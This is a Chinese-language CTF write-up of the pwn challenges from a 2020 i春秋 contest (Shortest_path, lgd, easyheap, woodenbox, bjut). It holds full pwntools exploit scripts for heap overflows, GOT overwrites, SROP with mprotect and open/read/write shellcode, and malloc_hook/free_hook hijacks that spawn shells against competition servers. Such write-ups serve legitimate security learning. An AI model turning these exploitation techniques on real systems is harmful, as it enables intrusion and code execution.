2020 i春秋高校战疫分享赛 pwn 部分题解

Shortest_path

这题的非预期有点严重了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *sub_400946()
{
FILE *stream; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("./flag", "r");
if ( !stream )
exit(0);
fgets(s, 45, stream);
fclose(stream);
memset(free_flag, 0, 0x320uLL);
memset(qword_606920, 0, 0x640uLL);
return memset(ptr, 0, 0x640uLL);
}

程序开始我们可以看到将flag读到了全局变量s中,再结合该题的功能应该是要利用堆块申请到bss段读取flag,但是,gdb search 一下会发现

1
2
3
pwndbg> search "flag{this_a_fack_flag}"
[heap] 0x6068e0 'flag{this_a_fack_flag}\n'
[heap] 0x608240 'flag{this_a_fack_flag}\n'

堆上也有flag,再看一下top_chunk top: 0x608000 (size : 0x21000),所以直接控制好大小申请到flag的位置读flag就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./Shortest_path')
elf = ELF('./Shortest_path')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("121.37.181.246","19008")
elf = ELF('./Shortest_path')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add_station(idx,price,l,name,connect=[]):
sla("> ",'1')
sla("ID: ",str(idx))
sla("Price: ",str(price))
sla("Length: ",str(l))
sda("Name: \n",name)
sla("station: ",str(len(connect)))
if len(connect) > 0:
for i in range(len(connect)):
sla("ID: ",str(connect[i][0]))
sla("distance: ",str(connect[i][1]))


def remove_station(idx):
sla("> ",'2')
sla("ID: ",str(idx))

add_station(0,3,0xf8,'n0va')
add_station(1,3,0xa8,'n0va')
add_station(2,3,0xc8,'a')
sla("> ",'3')
sla("ID: ",'2')
# gdb.attach(p)
p.interactive()

lgd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  lgd seccomp-tools dump ./pwn 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0006
0004: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x06 0x00 0x00 0x00000000 return KILL

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到程序禁用了system函数,而且保护基本全开,got表不可改

拖进IDA看进来很复杂,功能名字也看不懂是干嘛,但是瞎测一遍就知道

1
2
3
4
5
1. fater   -----add
2. monther -----delete
3. doug-? -----show
4. areuson? ----edit
5. shi+t? ----exit

理奇葩的是add后面的输入并没有向申请出来的堆写入,而是写到了bss段,然后经过后面一通操作,使得最后edit可输入的长度就是往0x603060这个地址写入的字符长度,别问我为什么知道,问就是黑盒。所以这里就存在堆溢出,因为这个read可以输入0x200,而size可以小于0x200。

1
2
3
buf[i] = (char *)malloc(v13);
puts("start_the_game,yes_or_no?");
read(0, &unk_603060, 0x200uLL);

接下来就是常规做法,利用堆溢出来泄漏地址,但是接下来因为system被禁了,onegadget也用不了

做法:

  • 1、unsorted bin attack free_hook上方打出size
  • 2、申请出free_hook 修改 free_hook为setcontext+53
  • 3、SROP调用mprotect 修改bss段为可执行段
  • 4、写shellcode调用orw读取flag

同样题型的还是UNCTF的orwheap,巅峰极客的pwn,至于为什么是setcontext+53这个位置,因为这个位置可以控制绝大部分的寄存器, https://n0va-scy.github.io/2019/10/31/setcontext/

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
local = 0
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("121.36.209.145","9998")
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(size): #add
sla(">> ",'1')
sla("?\n",str(size))
sda("?\n",'a'*0x200)

def delete(idx): #delete
sla(">> ",'2')
sla("index ?\n",str(idx))

def show(idx): #show
sla(">> ",'3')
sla("index ?\n",str(idx))

def edit(idx,data): #edit
sla(">> ",'4')
sla("index ?\n",str(idx))
sla("?\n",data)

one = [0x45216,0x4526a,0xf02a4,0xf1147]

sla("name? \n",'R4bb1t')
add(0x108) #0
add(0x68) #1
delete(0)
add(0x108) #0
show(0)
main_arena = u64(rc(6).ljust(8,'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
setcontext = libc_base + libc.symbols['setcontext']
syscall_ret = libc_base + 0xbc375
add(0x88) #2
add(0x68) #3
delete(2)
edit(1,'a'*0x60 + p64(0) + p64(0x91) + p64(free_hook - 0x23)*2)
add(0x88) #2
delete(1)
edit(0,0x100*'a' + p64(0) + p64(0x71) + p64(free_hook-0x13))

add(0x68) #3
add(0x68) #4
edit(4,'a'*3 + p64(setcontext + 53)) #修改free_hook为setcontext + 53

log.info("free_hook --> %s",hex(free_hook))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = 0x603060
frame.rdx = 0x2000
frame.rsp = 0x603060
frame.rip = syscall_ret
pay = str(frame)

edit(0,pay)
# gdb.attach(p,"b *0x401A97")
delete(0)

pop_rdi = 0x4023b3
pop_rax = 0x33544 + libc_base
pop_rsi = 0x202e8 + libc_base
pop_rdx = 0x1b92 + libc_base
jmp_rsp = 0x2a71 + libc_base

shellcode = '''
/*fp = open("flag")*/
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
/*read(fp,buf,0x30)*/
mov rdi,rax
mov rsi,rsp
mov rdx,0x30
xor rax,rax
syscall
/*write(1,buf,0x30)*/
mov rdi,1
mov rax,1
syscall
'''

pay = p64(pop_rdi) + p64(0x603060 & 0xfffffffffffff000)
pay += p64(pop_rsi) + p64(0x2000)
pay += p64(pop_rdx) + p64(7)
pay += p64(pop_rax) + p64(0xa)
pay += p64(syscall_ret) + p64(jmp_rsp)
pay += asm(shellcode)

pause()
sl(pay)

log.info("free_hook --> %s",hex(free_hook))
# gdb.attach(p)
p.interactive()

easyheap

首先看一下保护,没开PIE,got表可改。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int add()
{
void **v1; // rbx
signed int i; // [rsp+8h] [rbp-18h]
int nbytes; // [rsp+Ch] [rbp-14h]

for ( i = 0; ptr[i]; ++i )
;
if ( i > 2 )
return puts("Too many items!");
ptr[i] = malloc(0x10uLL); // 如果size>0x400,那么就存在一个闲置的指针
puts("How long is this message?");
nbytes = sub_400890();
if ( nbytes > 0x400 )
return puts("Too much size!");
*((_DWORD *)ptr[i] + 2) = nbytes;
v1 = (void **)ptr[i];
*v1 = malloc(nbytes);
puts("What is the content of the message?");
read(0, *(void **)ptr[i], (unsigned int)nbytes);
return puts("Add successfully.");
}

本题唯一的漏洞点,结合没开PIE,got 表可以的情况,这是致命的

只需要构造出指向指针的堆块,接下来就是任意地址写了

1
2
3
4
5
6
7
8
9
10
11
12
add(0x400, "0") # fake
add(0x10, "1")
delete(1)
delete(0)
# 此时的fatbin
0x20: 0x23c8000 —▸ 0x23c8430 —▸ 0x23c8450 ◂— 0x0
add(0x401)
add(0x10,'1') #1
# 此时的ptr
pwndbg> telescope 0x6020C0
00:00000x6020c0 —▸ 0x963010 —▸ 0x963430 ◂— 0x410
01:00080x6020c8 —▸ 0x963440 —▸ 0x963460 ◂— 0x31 /* '1' */

接下来就是先修改free@got为put@plt泄露地址,再修改free@got为system 执行system('/bin/sh')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./easyheap')
elf = ELF('./easyheap')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote("121.36.209.145","9997")
elf = ELF('./easyheap')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(l,data=''):
sla("choice:\n",'1')
sla("message?\n",str(l))
if l <= 1024:
sda("message?\n",data)

def delete(idx):
sla("choice:\n",'2')
sla("deleted?\n",str(idx))

def eidt(idx,data):
sla("choice:\n",'3')
sla("modified?\n",str(idx))
sda("message?\n",data)

add(0x400, "0") # fake
add(0x10, "1")
delete(1)
delete(0)
add(0x401)

add(0x10,'1') #1
add(0x20,'b') #2
eidt(0,p64(0) + p64(0x20) + p64(elf.got['free']))
eidt(1,p64(elf.plt['puts']))

delete(2) #leak
main_arena = u64(rc(6).ljust(8,'\x00')) - 66
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
log.info("system --> %s",hex(system))
# eidt(0,p64(0) + p64(0x20) + p64(elf.got['free']))

eidt(1,p64(system))
add(0x20,'/bin/sh\x00')
delete(2)
# gdb.attach(p)
p.interactive()

woodenbox

checksec,got表可改,(然并卵)

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

该题的漏洞主要是在remove函数中,这个for

1
2
3
4
5
6
7
8
9
for ( i = 0; i <= 10; ++i )
{
v0 = 16LL * i;
v1 = (__int64 *)((char *)&itemlist + 16 * (i + 1));
v2 = *v1;
v3 = v1[1];
*(_QWORD *)((char *)&itemlist + v0) = v2;
*(_QWORD *)((char *)&itemlist + v0 + 8) = v3;
}

当chunk列表满了的时候,再去free前面的堆块,这个神仙操作就会造成两个一样的chunk存在从而UAF

申请满12个chunk
申请满12个chunk
满12个后free掉0号chunk
满12个后free掉0号chunk,可以看到现在10,11号chunk指向同一个,就可以自由得uaf了,光有uaf还不够,change函数中对于输入的size没有检查,所以存在堆溢出

有这两点后就好办事了,先free(10)(0x70)修改其size为0x90(unsortedbin 范围),再free一次这时候fastbin上就有了main_arean+88`0x70: 0x56372f115310 —▸ 0x7ff16d603b78 (main_arena+88)修改低两们为'\xdd\x25'(关闭aslr情况下),申请到_IO_2_1_stdout_上方,修改flag为0xfbad1800`来leak libc
之后修改malloc_hook为onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./woodenbox2')
elf = ELF('./woodenbox2')
libc = ELF("./libc6_2.23.so")
else:
p = remote("121.36.215.224","9998")
elf = ELF('./woodenbox2')
libc = ELF("./libc6_2.23.so")

#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x2020A0)
print "breakpoint_addr --> " + hex(text_base + 0x202160)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(l,data):
sla("choice:","1")
sla("name:",str(l))
sda("item:",data)
def edit(idx,l,data):
sla("choice:","2")
sla("item:",str(idx))
sla("name:",str(l))
sda("item:",data)
def delete(idx):
sla("choice:","3")
sla("item:",str(idx))

one = [0x45216,0x4526a,0xf02a4,0xf1147]
def pwn():
for i in range(11):
add(0x28,'a'*(i+1))
add(0x68,'b')

delete(0)
delete(10)
add(0x58,'c'*0x10 + p64(0) + p64(0x41))
pay = 0x20*'a' + p64(0) + p64(0x91)
edit(8,len(pay),pay)

delete(10)
edit(10,2,'\xdd\x25')

pay = 0x20*'a' + p64(0) + p64(0x71)
edit(7,len(pay),pay)
add(0x68,'4')
delete(6)

pay = 0x33*'\x00' + p64(0xfbad1800) + p64(0)*3 + '\x00'
add(0x68,pay)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3c5600
log.info("libc_base --> %s",hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23
onegadget = libc_base + one[2]

delete(8)
pay = p64(fack_chunk)
edit(8,len(pay),pay)
delete(3)

add(0x68,'e')
pay = 0x13*'a' + p64(onegadget)
add(0x68,pay)
log.info("malloc_hook --> %s",hex(malloc_hook))
sla("choice:","4")
# debug(0)
p.interactive()
times = 0
while 1:
times += 1
log.warn("times --> %d",times)
try:
pwn()
except Exception:
p.close()
if local:
p = process('./woodenbox2')
else:
p = remote("121.36.215.224","9998")

bjut

checkseck,got表可改

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

漏洞点:下标溢出,在-1879的位置是指向got表的,所以通过下标溢出操作got表

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./hw')
elf = ELF('./hw')
libc = ELF('./libc.so.6')
else :
p = remote("121.37.167.199","9997")
libc = ELF('./libc.so.6')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[2], 16)
print "breakpoint_addr --> " + hex(text_base + 0x40a0)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def create(l,data):
sla(">",'1')
sla("hw:\n",str(l))
sda("hw:\n",data)

def edit(idx,data):
sla(">",'2')
sla("hw:\n",str(idx))
sda("hw:\n",data)

def delete(idx):
sla(">",'3')
sla("hw:\n",str(idx))

def show(idx):
sla(">",'4')
sla("hw:\n",str(idx))

one = [0xe237f,0xe2383,0xe2386,0x106ef8]

create(0x20,'a')
delete(0)

show(-1879)
ru('\n')
free_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']
onegadget = libc_base + one[3]
# gdb.attach(p,"b *0x401487")
edit(-1846,p64(onegadget))
sla(">",'x')
p.interactive()

kernoob && babyhacker

两道白给的内核题,cpio文件解压后搜一下flag就知道了

0%